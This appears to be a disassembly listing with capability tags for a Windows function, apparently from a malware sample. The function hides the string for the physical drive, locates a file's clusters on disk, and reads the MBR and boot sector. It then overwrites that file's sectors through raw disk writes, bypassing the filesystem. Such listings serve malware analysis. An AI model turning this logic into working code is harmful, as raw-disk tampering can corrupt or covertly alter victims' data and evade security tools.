Function at 0x40134a
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe80
push esi
push edi
push ebx
xor ebx, ebx
push 0
push 0x20000000
push 3
push 0
push 3
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x401380
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
mov esi, eax
mov dword [ebp - 0x164], esi
lea eax, [ebp - 0x134]
push eax
push esi
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0x134], eax
push 0x200
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
jne 0x4013b4
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
mov dword [ebp - 0x138], eax
push 8
lea eax, [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x110
lea eax, [ebp - 0x12c]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0
lea eax, [ebp - 0x13c]
push eax
push 0x110
lea eax, [ebp - 0x12c]
push eax
push 8
lea eax, [ebp - 0xc]
push eax
push 0x90073
push esi
call sub.KERNEL32.DLL_DeviceIoControl
lea eax, [ebp - 0x12c]
mov edi, dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x148], edx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x14c], ecx
or edi, edi
je 0x40141f
cmp ecx, 0xffffffff
jne 0x401428
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
mov dword [ebp - 0x180], 0x5c2e5c5c
mov dword [ebp - 0x17c], 0x73796850
mov dword [ebp - 0x178], 0x6c616369
mov dword [ebp - 0x174], 0x76697244
mov dword [ebp - 0x170], 0x3065
lea eax, [ebp - 0x180]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push eax
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x401483
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
mov dword [ebp - 0x160], eax
push 0
push 0
push 0
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0x13c]
push eax
push 0x200
push dword [ebp - 0x138]
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_ReadFile
mov eax, dword [ebp - 0x138]
mov cl, byte [eax + 0x1c2]
mov byte [ebp - 0x159], cl
cmp cl, 0xb
je 0x4014e3
cmp cl, 0xc
je 0x4014e3
cmp cl, 7
je 0x4014e3
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
mov ebx, dword [eax + 0x1c6]
mov edx, 0x200
imul edx, ebx
push edx
push 0
push 0
push edx
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0x13c]
push eax
push 0x200
push dword [ebp - 0x138]
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_ReadFile
mov eax, dword [ebp - 0x138]
xor edx, edx
mov cl, byte [ebp - 0x159]
cmp cl, 0xb
je 0x401539
cmp cl, 0xc
jne 0x401542
mov dl, byte [eax + 0x10]
mov ecx, dword [eax + 0x24]
imul edx, ecx
xor ecx, ecx
xor ebx, ebx
mov cx, word [eax + 0xb]
mov bl, byte [eax + 0xd]
imul ecx, ebx
xor eax, eax
mov eax, dword [ebp - 0x14c]
or eax, eax
jne 0x401572
mov eax, dword [ebp - 0x148]
mul ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
jmp 0x40158e
mov eax, dword [ebp - 0x148]
mul ecx
mov dword [ebp - 0x148], eax
mov ebx, dword [ebp - 0x14c]
add ebx, edx
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x168], ecx
pop edx
mov eax, dword [ebp - 0x148]
add edx, eax
mov dword [ebp - 0x148], edx
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x168]
xor edx, edx
div ecx
mov ecx, dword [ebp - 0x168]
mul ecx
mov dword [ebp - 0x16c], eax
push eax
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
jne 0x4015d6
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
mov dword [ebp - 0x130], eax
push 0
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x134]
push dword [ebp - 0x130]
push dword [ebp - 0x164]
call sub.KERNEL32.DLL_ReadFile
push 0
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x148]
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_SetFilePointer
push 0x200
push dword [ebp - 0x138]
call sub.KERNEL32.DLL_RtlZeroMemory
push 0
lea eax, [ebp - 0x13c]
push eax
push 0x200
push dword [ebp - 0x138]
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_ReadFile
push dword [ebp - 0x164]
call sub.KERNEL32.DLL_CloseHandle
mov esi, dword [ebp - 0x130]
mov edi, dword [ebp - 0x138]
mov ecx, 0x200
cmpsd dword [esi], dword es:[edi]
je 0x40166d
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
push dword [ebp - 0x16c]
push dword [ebp - 0x130]
call fcn.004010a0
or eax, eax
jne 0x40168b
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
push 0
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x148]
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x16c]
push dword [ebp - 0x130]
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_FlushFileBuffers
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret 4